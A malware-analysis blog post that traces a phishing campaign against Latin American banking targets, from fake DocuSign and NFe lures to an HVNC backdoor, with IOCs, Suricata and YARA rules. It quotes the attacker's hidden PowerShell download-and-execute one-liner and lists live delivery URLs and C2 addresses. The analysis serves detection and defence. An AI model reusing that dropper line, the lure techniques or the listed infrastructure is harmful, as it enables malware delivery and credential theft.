Editor’s note: The analysis is authored by Moises Cerqueira, malware researcher & threat hunter. You can find Moises on LinkedIn and X.
Fake tax documents are being used to target organizations across LATAM, delivering a custom HVNC backdoor built for stealthy, persistent access. Once installed, the malware can give attackers hidden remote control, steal browser data, monitor keystrokes, and survive system reboots.
The attack chain combines trusted business lures, anti-analysis techniques, and infrastructure designed to keep access hidden. For security leaders, the risk goes beyond a single compromised endpoint: persistent access can expose credentials, sensitive data, and business systems while giving attackers more time to move deeper into the environment.
HVNC Campaign Overview
The campaign uses fake DocuSign notifications, NFe tax documents, and banking-themed phishing to deliver a custom HVNC backdoor. Once installed, it can give attackers hidden remote control and persistent access to compromised systems.
| Threat type | Multi-stage phishing campaign; custom HVNC backdoor |
| Targeting | Banking and financial services in Latin America |
| Delivery | Fake DocuSign and NFe tax-document lures; related ClickFix-style delivery also observed |
| Objective | Persistent remote access and control of compromised systems |
| Attribution | Unconfirmed; Silver Fox / Winos4.0-adjacent tradecraft at medium confidence |
Business Risks Behind the HVNC Campaign
For organizations, the danger lies in how much access the malware can provide once a device is compromised. Its capabilities can increase both the scope of exposure and the time attackers remain active in the environment.
- Credential and session theft: The malware monitors keystrokes and targets Firefox cookies, browsing history, and permissions, putting account access at risk.
- Hidden remote control: HVNC functionality lets attackers interact with the compromised system through a hidden desktop, including screen capture and simulated mouse and keyboard input.
- Persistent access: The backdoor establishes Startup-folder persistence, allowing it to remain active after system reboots.
- Reduced visibility for defenders: The malware checks for more than 20 AV/EDR processes and adjusts its behavior when security software is present.
- Longer exposure to compromise: Its persistent C2 connection and repeated reconnection attempts are designed to keep the implant available even through network interruptions.
Who Is This Campaign Targeting?
The campaign appears financially motivated, with a clear focus on banking and financial services in Latin America. Threat intelligence analysis using ANY.RUN data revealed phishing infrastructure impersonating major banks, alongside fake tax-document lures designed to blend into routine financial and administrative workflows.
Attack Chain Overview
The campaign follows a four-stage infection chain that moves from fake DocuSign and NFe tax-document lures to a persistent HVNC backdoor. Each stage uses separate delivery, staging, and C2 infrastructure, making the operation harder to trace and disrupt.
- Stage 1 – Initial Access: a spoofed DocuSign “document ready for download” page (and a parallel NFe/DANFE-themed lure) with anti-sandbox and anti-automation logic, serving a dynamically generated ZIP archive per visitor.
- Stage 2 – Dropper: a Windows .lnk shortcut disguised as a tax-document receipt, whose target is a hidden PowerShell one-liner that downloads and executes a second-stage binary.
- Stage 3 – Loader: an NSIS self-extracting installer bundling the final payload alongside legitimate-looking runtime DLLs (OpenCV, MSVC redistributables) used as cover noise.
- Stage 4 – Payload: a 64-bit backdoor (masquerading as “Windows Update Assistant” / Microsoft Corporation in its version metadata, while unsigned) implementing AV/EDR discovery, a hidden virtual desktop for remote operator control, keystroke monitoring, Firefox cookie/history/permission theft, and a browser-redirection command – all communicating over TCP/27015 to infrastructure hosted with GHOSTnet GmbH (Frankfurt, DE).
The Lure: A Fake DocuSign Notification With a Personality
The entry point is a cloned DocuSign “your document is ready” page. It’s a convincing fake – the logo is pulled live from DocuSign’s own CDN – but the copy gives it away: the document name reads “Documento_Contrato_Signado.pdf,” a non-native construction of the Portuguese word for “signed.” A build marker (0a4b2aff1c2ebf8b) sits in the HTML, likely a phishing-kit fingerprint we can use to track this kit elsewhere.
Before it hands over anything, the page runs a small anti-bot gauntlet: it checks navigator.webdriver, zero-size browser windows, and known headless-browser artifacts, then waits for two genuine mouse/scroll/keyboard events (with a 3.5-second fallback) before arming the download. A silent background request also fingerprints the visitor’s browser, OS, timezone and screen size and reports it to the server first – almost certainly used to decide who actually gets a payload.
Once satisfied, the page doesn’t link to a file – it POSTs to api.php and gets back a JSON blob containing a base64-encoded ZIP, a SHA-256 hash, and a cheeky bit of social engineering: an alternate .nfe extension “in case the download gets blocked by SmartScreen.”
From Shortcut to Shellcode: The LNK Dropper
Inside the ZIP sits a Windows .lnk shortcut disguised as an NFe (Brazilian electronic tax receipt) confirmation, alongside five decoy .txt files with fabricated company data – generated fresh for every download, using real, recognizable Brazilian company names to boost trust.
The shortcut’s real target is powershell.exe, run with -WindowStyle Hidden -ExecutionPolicy Bypass, executing a one-liner that downloads a second-stage binary and runs it:
Invoke-WebRequest -Uri “http:///dl.php?f=NotaFiscal…exe
&k=nfe_valid_access_key_2026_secure” `
-OutFile “$env:USERPROFILE\Desktop\$env:USERNAME.exe”; Start-Process $out
That k= parameter is a static access token gating the delivery server – a strong pivot for spotting other samples from the same kit, regardless of which IP is currently hosting it.
The shortcut’s own metadata turned out to be more useful than expected: Windows silently embeds the builder machine’s NetBIOS hostname into every .lnk file. Here, that hostname was “servee” – a detail that becomes very relevant once we get to infrastructure.
An Installer in Disguise: NSIS and the Weight of Legitimacy
The downloaded file is an NSIS (Nullsoft Scriptable Install System) self-extracting installer with a 22.9 MB compressed overlay. Unpacked, it drops:
- UpdateAssistant.exe – the real payload
- opencv_world4120.dll (~22 MB) – a genuine OpenCV library
- Four legitimate Microsoft Visual C++ redistributable DLLs
None of these DLLs are hijacked or trojanized – they’re just real, large, familiar-looking files bundled in to make the folder feel like a normal software installer. The actual malicious logic lives entirely in the one 177 KB executable sitting quietly among them.
Cracking the XOR: Finding the C2 Inside the Binary
UpdateAssistant.exe claims to be Microsoft Corporation’s “Windows Update Assistant” in its version metadata – while being completely unsigned. Static analysis in Detect It Easy immediately flags the giveaways: UnsignedMicrosoft, repeated XorInLoop patterns, and YARA hits for KeyloggerApi and BrowserStealer.
Reversing the network-setup routine in IDA Pro shows why. The C2 host is stored as 12 raw bytes, XOR-encoded with a single byte (0x37):
Raw: 02 19 05 04 07 19 05 03 0E 19 03 0E
XOR key: 0x37
Result: 5.230.249.49
The destination port is stored in plaintext: 27015 – the default port for Source-engine games like Counter-Strike. Reusing a gaming port is a small but deliberate choice: it blends the beacon into ordinary consumer traffic on a casual netflow review.
A second function decodes a small set of browser names (“chrome,” “firefox,” “msedge,” “brave,” “opera”) using a different XOR key (0x13), building commands like cmd.exe /c start chrome.exe – a command the operator can issue to force the victim’s browser open to any page of their choosing.
The Malware Introduces Itself: A Live HVNC Handshake
Static analysis told us the malware could create a hidden desktop (CreateDesktopA, SetThreadDesktop), capture the screen, inject input, and poll the keyboard state – the textbook ingredients of an HVNC implant. What we didn’t expect was for the malware to say so, out loud, on the wire.
Detonating a live build in ANY.RUN’s Interactive Sandbox and opening the raw TCP stream to the C2 in Text view surfaced this handshake, sent in the clear before any operator interaction:
HVNC-
CLIENT_ID:HVNC-
COMPUTER:
USER:
OS:
VERSION:1.2.0.4.71
MODE:FULL
DETAILS:[SISTEMA] Arquitetura: x64 (AMD64)
[SISTEMA] Processadores: 6
[SISTEMA] CPU: AMD Ryzen 5 3500 6-Core Processor
[SISTEMA] Memória Total: 6138 MB
[SISTEMA] Memória Disponível: 4343 MB
[SISTEMA] Antivírus: Não detectado (modo stealth)
[SISTEMA] Hostname:
IDENTIFIER_CHANNEL:20
The banner literally opens with HVNC-. The malware authors named their own protocol, and it checks in with a full victim fingerprint – CPU model, RAM, architecture, and, tellingly, the result of the antivirus-discovery loop we found in static analysis. That loop isn’t just for self-throttling; its output is reported straight to the operator’s panel per victim. After the handshake, the stream switches to a binary frame format consistent with screen-tile data feeding the malware’s built-in OpenCV pipeline.
We also confirmed the port isn’t fixed: one build hardcoded 27015, while a separately detonated build connected live on 27017. Treat the port as a per-build configuration value, not a protocol constant – the VERSION:1.2.0.4.71 string is the more durable fingerprint.
Sticking Around: Persistence via a Fake Update Helper
A follow-up detonation answered the one question static analysis couldn’t: how does this thing survive a reboot? Watching the process tree in ANY.RUN, UpdateAssistant.exe copies itself – plus its cover DLLs – into a second folder under %APPDATA%\Roaming\Programs\Common\, renaming the executable to AppUpdateHelper.exe, then drops a shortcut into the current user’s Startup folder pointing at that copy.
That name isn’t a coincidence: earlier pivoting in ANY.RUN’s Threat Intelligence Lookup on the C2 IP had already surfaced runtime mutex values from unrelated prior submissions – Global\AppUpdateHelper_E7A2F and Global\WinSvc_4CF8B2E6 – from builds spanning back to March 2026. The prefix is stable across builds; only the suffix changes. Interestingly, we also caught this malware executing its own browser-redirect command in the wild: several TI Lookup events show msedge.exe –type=util… launched in direct correlation with a connection to the C2 IP, matching the capability we’d already decoded statically.
Following the Infrastructure Trail
The LNK’s embedded builder hostname – servee – turned into a live pivot. Querying Shodan for the staging IP (an Azure VM used only to host the second-stage download) showed an exposed RPC endpoint mapper leaking that exact NetBIOS name, confirming the builder machine and the delivery host are one and the same.
The live C2, by contrast, sits on a GHOSTnet GmbH VPS in Frankfurt – a different provider entirely, reflecting a deliberate split between disposable staging infrastructure and a stable, actively-managed C2 host (Shodan even shows a self-signed AnyDesk certificate on the box, suggesting the operator manages it remotely).
Pivoting further in TI Lookup on the same C2 IP surfaced several more findings worth flagging. First, the same server also hosts other stage-2 payloads under different lure themes (dl.php?f=cresol.exe&k=chave_tecl_cresol — a Sicredi/Cresol-branded variant), confirming this is a reusable kit, not a one-off. Related activity also showed the same NFe lure theme being delivered through ClickFix-style prompts, suggesting the operators can rotate delivery methods as well as infrastructure and payloads.
A related domain — gerenciadorcaixa.digital, cloning Caixa Econômica Federal’s corporate banking portal — shares the same gerenciador[bank].digital naming convention as a Banco do Brasil phishing clone found on a sibling IP, suggesting either a shared operator or hosting reseller behind multiple financial-phishing campaigns.
Capability Summary
The final payload combines remote-control, data-theft, evasion, and persistence capabilities in a single backdoor. The table below summarizes the behaviors confirmed during static and dynamic analysis, along with the confidence level for each finding.
| Capability | Confidence | Evidence |
|---|---|---|
| Hidden virtual desktop / HVNC remote control | High | CreateDesktopA/OpenDesktopA/SetThreadDesktop imports + producer/consumer thread architecture (Section 8.2.4) |
| Screen capture | High | GDI BitBlt/GetDIBits imports + OpenCV cv::Mat queue in sub_14000E540 |
| Simulated mouse/keyboard input (remote control) | High | SendInput/PostMessageA/SendMessageA imports |
| Keystroke monitoring | Medium-High | GetAsyncKeyState/GetKeyboardState imports (YARA KeyloggerApi); active polling loop not fully traced |
| Firefox cookie / history / permission theft | High | Hardcoded cookies.sqlite / places.sqlite / permissions.sqlitestrings |
| Chromium credential-store theft | Unconfirmed | No “Login Data”/“Web Data” plaintext strings found; possible dynamic resolution not yet decoded |
| AV/EDR discovery (non-destructive) | High | 20+ hardcoded AV process names + low-priority evasion behavior |
| Operator-directed browser redirection | High | sub_140019CA0, fully decoded (Section 8.4) |
| Raw-TCP custom C2 protocol (self-identified as “HVNC”, port 27015/27017 per build) | High | Fully decoded C2 host/socket configuration (Section 8.2.3) plus a captured plaintext handshake naming the protocol itself and transmitting a full victim fingerprint (Section 10.2) |
| Persistence mechanism | High - Confirmed | Startup-folder shortcut (T1547.001) pointing to a self-relocated, renamed copy (AppUpdateHelper.exe) in %APPDATA%\Roaming\Programs\Common\; confirmed dynamically via ANY.RUN (Section 8.5.3) |
Detection and Hunting Priorities
Because payload hashes and infrastructure can change between builds, detection should combine campaign-specific IOCs with more durable behavioral signals.
- Watch for suspicious PowerShell execution: Flag hidden PowerShell launched from .lnk files, especially commands combining Invoke-WebRequest and Start-Process.
- Check fake update binaries: Investigate unsigned processes named UpdateAssistant.exe or similar Windows Update-themed files running outside legitimate Windows directories.
- Hunt for HVNC behavior: Look for unsigned processes combining hidden-desktop APIs, screen capture, and simulated keyboard or mouse input.
- Monitor persistence: Alert on unusual .lnk files written to the Startup folder, particularly when they point to executables under %APPDATA%.
- Use durable network indicators: Hunt for the HVNC- protocol strings, VERSION:1.2.0.4.71, and the nfe_valid_access_key delivery token rather than relying only on current C2 IPs or ports.
How Organizations Can Reduce the Risk from HVNC Campaigns
Security awareness should reflect these workflows, especially for finance, accounting, procurement, and other document-heavy teams. Employees should know how to verify unexpected files or signing requests before opening them.
Treat Tax and Business Documents as a High-Risk Entry Point
Organizations handling large volumes of tax documents, invoices, signing requests, and other financial communications should treat unexpected downloads and attachments with extra scrutiny.
Security awareness should focus on the specific workflows attackers imitate, not phishing in general. Employees working in finance, accounting, procurement, and other document-heavy functions are especially important here.
Analyze Suspicious Files Before They Reach Production Systems
The campaign relies on several seemingly ordinary stages — a ZIP archive, an .lnk shortcut, PowerShell, and an installer — before the HVNC payload appears.
Suspicious files and URLs can be opened in an isolated environment such as ANY.RUN’s Interactive Sandbox to expose the full execution chain, including hidden PowerShell activity, dropped files, network connections, persistence, and C2 behavior before an analyst makes a containment decision.
Expand Investigations Beyond the First IOC
One malicious IP or file may represent only a small part of the campaign.
Using ANY.RUN’s Threat Intelligence Lookup, teams can pivot from an IP, domain, URL, mutex, or other indicator to related samples and infrastructure. In this investigation, those pivots exposed additional lure themes and connected activity beyond the original sample.
For security leaders, this means fewer incidents treated in isolation and a better chance of identifying the wider campaign before another endpoint is affected.
Push Fresh Threat Intelligence Into Existing Controls
Because payload hashes and infrastructure can change between builds, organizations should avoid relying only on static blocklists. The investigation already showed different payload hashes across builds while more durable behavioral and protocol indicators remained consistent.
Threat Intelligence Feeds can help distribute current malicious infrastructure and indicators into SIEM, EDR, firewalls, and other existing security controls, while behavioral detections provide coverage when individual IPs, domains, or payloads rotate.
Plan for Full Containment, Not Just Initial Cleanup
Once HVNC is installed, removing the original file is not enough. The malware establishes persistence, maintains C2 access, and can continue operating after reboot.
Incident-response plans should therefore include checking persistence mechanisms, terminating malicious processes, blocking C2 activity, reviewing exposed credentials and browser sessions, and confirming that attacker access has been fully removed.
Conclusion
This HVNC campaign shows how familiar business workflows can be turned into an effective path to persistent compromise. Fake tax documents and trusted-brand lures ultimately lead to a backdoor capable of hidden remote control, keystroke monitoring, browser-data theft, and long-term access.
For organizations across Latin America, the key lesson is to look beyond the initial phishing artifact and detect the behaviors and infrastructure that remain consistent as campaigns evolve:
- Simple delivery can lead to high-impact compromise: A phishing page, shortcut file, and installer ultimately provide attackers with a capable HVNC backdoor.
- Persistence increases the window of exposure: The malware can maintain access through a Startup-folder mechanism even after a reboot.
- Static IOCs are not enough: Payload hashes change between builds, making behavioral and protocol-based detection more reliable over time.
- C2 behavior provides durable detection opportunities: The malware exposes distinctive protocol strings and sends victim and AV information during check-in, giving defenders stronger hunting signals than IPs alone.
- Threat intelligence helps reveal the wider campaign: Pivoting from individual indicators exposed related lure themes, infrastructure, and financially motivated phishing activity beyond the original sample.
About ANY.RUN
ANY.RUN is a leading provider of interactive malware analysis and threat intelligence solutions trusted by more than 16,000 organizations worldwide, including 74% of the Fortune 100.
Its Interactive Sandbox and Threat Intelligence solutions help SOC teams analyze suspicious files and URLs, uncover malicious behavior, enrich investigations with actionable context, and connect related activity across infrastructure and campaigns.
This helps security teams reduce investigation time, lower MTTD and MTTR, and contain threats before business impact grows.
MITRE ATT&CK Mapping
| Tactic | Technique ID | Technique Name | Evidence |
|---|---|---|---|
| Reconnaissance | T1592 (env. fingerprint, page-level) | Gather Victim Host Information | Lure page's silent telemetry beacon (UA, resolution, timezone) sent before payload release |
| Initial Access | T1566.002 | Phishing: Spearphishing Link | Fake DocuSign / NFe delivery-notice page as the entry vector |
| Defense Evasion | T1027 | Obfuscated Files or Information | ZIP-in-disguise, MIME override, nested single-byte XOR string obfuscation with context-specific keys |
| Defense Evasion | T1036.005 | Masquerading: Match Legitimate Name or Location | LNK icon spoofed to notepad.exe; UpdateAssistant.exe VersionInfo claims Microsoft Corporation while unsigned; DLL bundle mimics a real software installer |
| Defense Evasion | T1622 / anti-automation (no direct ATT&CK ID) | Debugger/Environment Evasion | navigator.webdriver / headless-browser checks; human-interaction gating before payload release |
| Defense Evasion | T1518.001 | Security Software Discovery | 20+ hardcoded AV/EDR process names, checked via Toolhelp32 snapshot |
| Execution | T1204.002 | User Execution: Malicious File | Victim double-clicks the disguised .lnk |
| Execution | T1059.001 | Command and Scripting Interpreter: PowerShell | Hidden, execution-policy-bypassed PowerShell one-liner |
| Command and Control | T1105 | Ingress Tool Transfer | PowerShell Invoke-WebRequest pulling the NSIS loader from the Azure staging host |
| Command and Control | T1573 (custom config, not full-channel encryption) | Encrypted/Obfuscated Configuration | XOR-protected C2 host string embedded in the final payload |
| Command and Control | T1571 | Non-Standard Port | Raw TCP C2 on port 27015 (Source-engine game port), not HTTP/HTTPS |
| Command and Control | T1095 | Non-Application Layer Protocol | Custom raw-TCP protocol rather than HTTP/WebSocket |
| Collection | T1113 | Screen Capture | GDI BitBlt/GetDIBits + OpenCV-backed frame queue |
| Collection | T1056.001 | Input Capture: Keylogging | GetAsyncKeyState/GetKeyboardState polling imports |
| Collection | T1539 | Steal Web Session Cookie | Hardcoded targeting of Firefox cookies.sqlite |
| Collection | T1217 | Browser Information Discovery | Hardcoded targeting of Firefox places.sqlite / permissions.sqlite |
| Command and Control / Impact | T1219 (closest analogue) | Remote Access Software (custom HVNC) | Hidden-desktop + SendInput architecture functioning as an unauthorized remote-access channel |
| Persistence | T1547.001 | Boot or Logon Autostart Execution: Startup Folder | AppUpdateHelper.lnk dropped into the current user's Start Menu \ Programs \ Startup folder, pointing to a self-relocated payload copy (confirmed dynamically, Section 8.5.3) |
| Defense Evasion | T1036.005 (persistence-stage recurrence) | Masquerading: Match Legitimate Name or Location | Relocated persistence copy renamed to AppUpdateHelper.exe, matching the mutex-name convention |
Indicators of Compromise
File Hashes:
| Stage | Filename | SHA-256 |
|---|---|---|
| 2 - ZIP dropper (build 1, Samsung decoy) | DANFE_SAMSUNG_ELET_AM_CNPJ...zip / .nfe | e4d637f884f5babea6525266e1cb6ab332a16a446d6084dd51b4222540c1f16c |
| 2 - ZIP dropper (build 2, Motorola decoy) | MOTOROLA_MOB_COM_NFe_2026-07-16_217816240.zip | 97f35ba586fc121590c867b4d6707777fbeca2ace5ad077807ec806540bb47cd |
| 2 - LNK dropper (build 2, in-archive) | NF_Eletronica999147237654.lnk | Not independently hashed - identified via ZIP CRC32 0x3F6F7598 (compressed 1,059 B / uncompressed 2,752 B) |
| 4 - Final payload (build 1, statically analyzed) | UpdateAssistant.exe | 5fbfc7929858c3c3d79637db857525695db3c0f41b9bf2a7b964c26b7226bde3 |
| 4 - Final payload (build 2, dynamically captured) | UpdateAssistant.exe / AppUpdateHelper.exe (post-persistence copy) | debf48e690abd4288e5f76fa7e9f98a9fb3411171eba82906ef0d2bf1ef2dd6d |
| 4 - Persistence shortcut (build 2) | AppUpdateHelper.lnk | 25db85830d86cafbb93a660242f8b4017273cc4612e94dd7a8af29c948651bbe |
| 3 - Cover DLL: vcruntime140.dll (build 2, relocated copy) | vcruntime140.dll | d1f4225df2cd877dbf130d5668a021dce3f94118455ff5ec952061c30afc9ce7 |
| 3 - Cover DLL: vcruntime140_1.dll (build 2, relocated copy) | vcruntime140_1.dll | 1f2d41c4aa5db0bc33ebf7b66d72943a817d7ce6cbe880502a9403823633093f |
| 3 - Cover DLL: concrt140.dll (build 2, relocated copy) | concrt140.dll | 54716f0738af891f283d213b5c8d11b25896bb8ee3097d301eae718560cf974e |
| 3 - Cover DLL: msvcp140.dll (build 2, relocated copy) | msvcp140.dll | 7c26614e1d733892c2deac7e245ce115504b1d80592dd0a01b08e3e5a55f89ca |
Network Indicators:
| Indicator | Type | Role | Confidence |
|---|---|---|---|
| 40.124.169.27 | IPv4 | Stage-2 payload staging (Azure) | High |
| 5.230.249.49:27015 / :27017 | IPv4:Port | Live C2 endpoint (raw TCP/HVNC beacon) - port confirmed to vary by build (27015 statically decoded, 27017 live-observed) | High |
| VERSION:1.2.0.4.71 | C2 protocol content string | Internal build/family version reported in the plaintext HVNC check-in banner - infrastructure-independent detection signature (Section 10.2.1) | High |
| "HVNC-" / "CLIENT_ID:HVNC-" / "IDENTIFIER_CHANNEL:" | C2 protocol content strings | Structural protocol markers suitable for network-content (Suricata) detection independent of C2 IP/port rotation | High |
| 5.230.249.49 (port 80/443) | IPv4 | Also observed serving stage-2 payloads directly (see dl.php entries below) - not staging-only | High |
| 5.230.54.41 | IPv4 | Secondary delivery / co-hosted phishing | High |
| receitafederal.digital | Domain | NFe-themed delivery lure domain | High |
| aapj.digital | Domain | Banco do Brasil PJ phishing clone (co-hosted, GHOSTnet) | Medium (cluster link) |
| gerenciadorcaixa.digital | Domain | Caixa Econômica Federal phishing clone - same “gerenciador[banco].digital” naming convention as aapj.digital | Medium-High (cluster link, 2nd independent confirmation) |
| http://5.230.249.49/dl.php?f=cresol.exe&k=chave_tecl_cresol | URL | Additional stage-2 delivery URL on the C2 host, Sicredi/Cresol-themed lure variant | High |
| http://5.230.249.49/dl.php?f=payed.exe | URL | Additional stage-2 delivery URL on the C2 host, generic-themed lure variant | High |
| http://40.124.169.27/dl.php?f=NotaFiscal...&k=nfe_valid_access_key_2026_secure | URL | Stage-2 delivery URL, NFe-themed (confirmed twice, 08 Jul and 15 Jul 2026) | High |
| nfe_valid_access_key_2026_secure / chave_tecl_cresol | URL parameter values | Delivery-server access tokens - the k= parameter naming pattern (chave_/key_ + lure theme) is a strong kit/campaign pivot independent of the current staging IP | High |
| 0a4b2aff1c2ebf8b | HTML comment string | Phishing kit build/campaign marker on the DocuSign lure page | Medium |
Host-Based Indicators:
| Indicator | Notes |
|---|---|
| %USERPROFILE%\Desktop\%USERNAME%.exe | Stage-3 drop path/filename pattern (dynamic per victim; observed as admin.exe in the 2nd captured build) |
| LNK filename patterns: Comprovante_NFe*.lnk / NF_Eletronica*.lnk | Stage-2 dropper naming convention - confirmed rotating across at least two templates |
| LNK Machine ID: servee | Correlates to Azure staging host NetBIOS name (build 1) |
| LNK Volume Serial: 0x24E4EC72 | Builder-host pivot for other LNKs from the same kit (build 1) |
| %APPDATA%\Roaming\Programs\Common\AppUpdateHelper.exe | Persistence copy of the final payload (confirmed, Section 8.5.3) |
| %APPDATA%\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\AppUpdateHelper.lnk | Persistence shortcut (Startup folder, T1547.001) |
| Mutex prefix pattern: Global\AppUpdateHelper_* / Global\WinSvc_* | Confirmed via two independent builds (07 Apr and 02 Apr 2026 submissions); suffix is per-build/random, prefix is stable - use regex Global\\(AppUpdateHelper|WinSvc)_[A-F0-9]+ for hunting |
| Alternate final-payload filename: SysMaintenance.exe (folder: SystemMaintenance) | Confirms binary/folder naming rotates alongside the AppUpdateHelper/UpdateAssistant convention |
| Suricata: “hunting [any.run] windows pc hostname observed in outbound connection” (T1592) | The C2 beacon appears to transmit the victim hostname during handshake - not yet confirmed via static code review |
| Suricata: “suspicious [any.run] possible admin username observed in outbound connection” (T1571) | The C2 beacon appears to transmit the victim username during handshake - not yet confirmed via static code review |
Suricata (network-content, infrastructure-independent):
alert tcp any any -> any any (msg:”HVNC-family C2 handshake (NFe/DocuSign cluster)”; \
content:”HVNC-“; content:”CLIENT_ID:HVNC-“; content:”COMPUTER:”; \
content:”IDENTIFIER_CHANNEL:”; content:”VERSION:1.2.0.4.71″; \
flow:established,to_server; classtype:trojan-activity; sid:9000001; rev:1;)
YARA (final payload):
rule Trojan_HVNC_UpdateAssistant_Masquerade
{
meta:
description = “Detects the unsigned HVNC/keylogger backdoor masquerading as Windows Update Assistant”
author = “0xOlympus”
date = “2026-07-27”
hash = “5fbfc7929858c3c3d79637db857525695db3c0f41b9bf2a7b964c26b7226bde3”
strings:
$ff1 = “cookies.sqlite” ascii
$ff2 = “places.sqlite” ascii
$ff3 = “permissions.sqlite” ascii
$av1 = “avastui.exe” ascii
$av2 = “bdagent.exe” ascii
$av3 = “mcshield.exe” ascii
$av4 = “360tray.exe” ascii
$av5 = “ekrn.exe” ascii
$ver = “Windows Update Assistant” wide
// XOR(0x37)-encoded C2 host “5.230.249.49”
$c2cfg = { 02 19 05 04 07 19 05 03 0E 19 03 0E }
condition:
uint16(0) == 0x5A4D and
(2 of ($ff*)) and
(3 of ($av*)) and
($ver or $c2cfg)
}
Moises Cerqueira (0xOlympus)
Malware Researcher & Threat Hunter with a strong background in Blue Team operations.
Specialized in malware analysis and reverse engineering, with hands-on experience dissecting binaries and reconstructing attacker TTPs from initial delivery to command-and-control communication.
Driven by a deep interest in adversary tradecraft, bridging low-level technical analysis with strategic threat intelligence and detection engineering.
Follow Moises on:
0 comments